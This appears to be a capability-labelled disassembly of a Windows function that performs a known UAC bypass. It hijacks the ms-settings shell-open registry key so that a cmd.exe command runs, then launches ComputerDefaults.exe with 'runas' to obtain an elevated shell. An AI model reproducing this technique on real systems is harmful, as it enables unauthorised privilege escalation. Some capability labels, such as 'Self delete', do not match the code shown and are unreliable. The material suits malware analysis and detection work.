Function at 0x1400011c0
Capabilities:
Create process on windows
Persist via default file association registry key
Self delete
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x40]
sub rsp, 0x140
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x38], rax
xor r12d, r12d
mov dword [rsp + 0x50], r12d
lea rax, [rbp + 0x30]
mov qword [rsp + 0x40], rax
lea rax, [rbp - 0x48]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SoftwareClassesms_settingsShellOpencommand
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
lea rcx, str.Failed_to_create_reg_key
lea rdx, str.Successfully_created_reg_key
test eax, eax
cmovne rdx, rcx
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001890
lea rdx, [0x140001a60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rsp + 0x28], 0x29
lea rax, str.cmd__c_start_C:WindowsSystem32cmd.exe
mov qword [rsp + 0x20], rax
mov ebx, 1
mov r9d, ebx
xor r8d, r8d
lea rdi, [0x1400033f0]
mov rdx, rdi
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, str.Failed_to_set_reg_value
lea rdx, str.Successfully_set_reg_value
test eax, eax
cmovne rdx, rcx
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001890
lea rdx, [0x140001a60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rdi
mov r9d, ebx
xor r8d, r8d
lea rdx, str.DelegateExecute
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, str.Failed_to_set_reg_value:_DelegateExecute
lea rdx, str.Successfully_set_reg_value:_DelegateExecute
test eax, eax
cmovne rdx, rcx
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001890
lea rdx, [0x140001a60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rbp + 0x20], xmm0
mov dword [rbp - 0x40], 0x70
mov dword [rbp - 0x3c], 0x40
lea rax, str.runas
mov qword [rbp - 0x30], rax
lea rax, str.C:WindowsSystem32ComputerDefaults.exe
mov qword [rbp - 0x28], rax
mov dword [rbp - 0x10], r12d
lea rcx, [rbp - 0x40]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x140001633
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r14, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
cmp eax, 0x4c7
jne 0x14000140b
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
mov qword [rbp - 0x58], r12
mov qword [rbp - 0x50], 0xf
lea ecx, [rbx + 0x2f]
call fcn.140001e70
mov rdx, rax
mov qword [rbp - 0x68], rax
mov r8d, 0x2e
mov qword [rbp - 0x58], r8
mov ecx, 0x2f
mov qword [rbp - 0x50], rcx
movups xmm0, xmmword [str.The_user_refused_to_allow_privilege_elevation.]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140003588]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [0x140003598]
movsd qword [rax + 0x20], xmm0
mov eax, dword [0x1400035a0]
mov dword [rdx + 0x28], eax
movzx eax, word [0x1400035a4]
mov word [rdx + 0x2c], ax
mov byte [rdx + 0x2e], r12b
lea rax, [rbp - 0x68]
jmp 0x140001515
mov edx, eax
lea rcx, [rsp + 0x78]
call fcn.1400016f0
nop
mov dword [rsp + 0x50], 0xa
mov r8, qword [rbp - 0x78]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
sub rax, r8
mov ebx, 0x1e
cmp rax, rbx
jb 0x1400014be
lea rax, [r8 + 0x1e]
mov qword [rbp - 0x78], rax
lea rdi, [rsp + 0x78]
cmp rcx, 0x10
cmovae rdi, qword [rsp + 0x78]
lea rax, [0x1400035c6]
lea r15, str.Unexpected_error__Error_code:
cmp rax, rdi
jbe 0x140001481
lea rax, [rdi + r8]
cmp r15, rax
ja 0x140001481
cmp rdi, r15
ja 0x140001479
mov rsi, r12
jmp 0x140001484
mov rsi, rdi
sub rsi, r15
jmp 0x140001484
mov rsi, rbx
lea rcx, [rdi + 0x1e]
inc r8
mov rdx, rdi
call sub.VCRUNTIME140.dll_memmove
mov r8, rsi
mov rdx, r15
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rdi + rsi]
mov r8, rbx
sub r8, rsi
lea rdx, [r15 + 0x1e]
add rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsp + 0x78]
jmp 0x1400014d0
mov qword [rsp + 0x28], rbx
mov rdx, rbx
lea rcx, [rsp + 0x78]
call fcn.140001cd0
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x68], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rax, [rsp + 0x58]
mov rdx, qword [rsp + 0x58]
mov r8, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x70]
mov dword [rsp + 0x50], ebx
cmp rcx, 0x10
cmovb rdx, rax
mov rcx, r14
call fcn.140001b10
lea rdx, [0x140001a60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
test bl, 4
je 0x140001595
and ebx, 0xfffffffb
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x140001582
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000157d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000157d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001eac
movdqa xmm0, xmmword [0x1400035f0]
movdqu xmmword [rsp + 0x68], xmm0
mov byte [rsp + 0x58], 0
test bl, 2
je 0x1400015ee
and ebx, 0xfffffffd
mov rdx, qword [rbp - 0x70]
cmp rdx, 0x10
jb 0x1400015dc
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400015d7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400015d7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001eac
movdqa xmm0, xmmword [0x1400035f0]
movdqu xmmword [rbp - 0x78], xmm0
mov byte [rsp + 0x78], 0
test bl, 1
je 0x140001656
mov rdx, qword [rbp - 0x50]
cmp rdx, 0x10
jb 0x140001656
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000162c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000162c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001eac
jmp 0x140001656
lea rdx, str.Successfully_created_process
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001890
lea rdx, [0x140001a60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor eax, eax
mov rcx, qword [rbp + 0x38]
xor rcx, rsp
call fcn.140001e50
lea r11, [rsp + 0x140]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret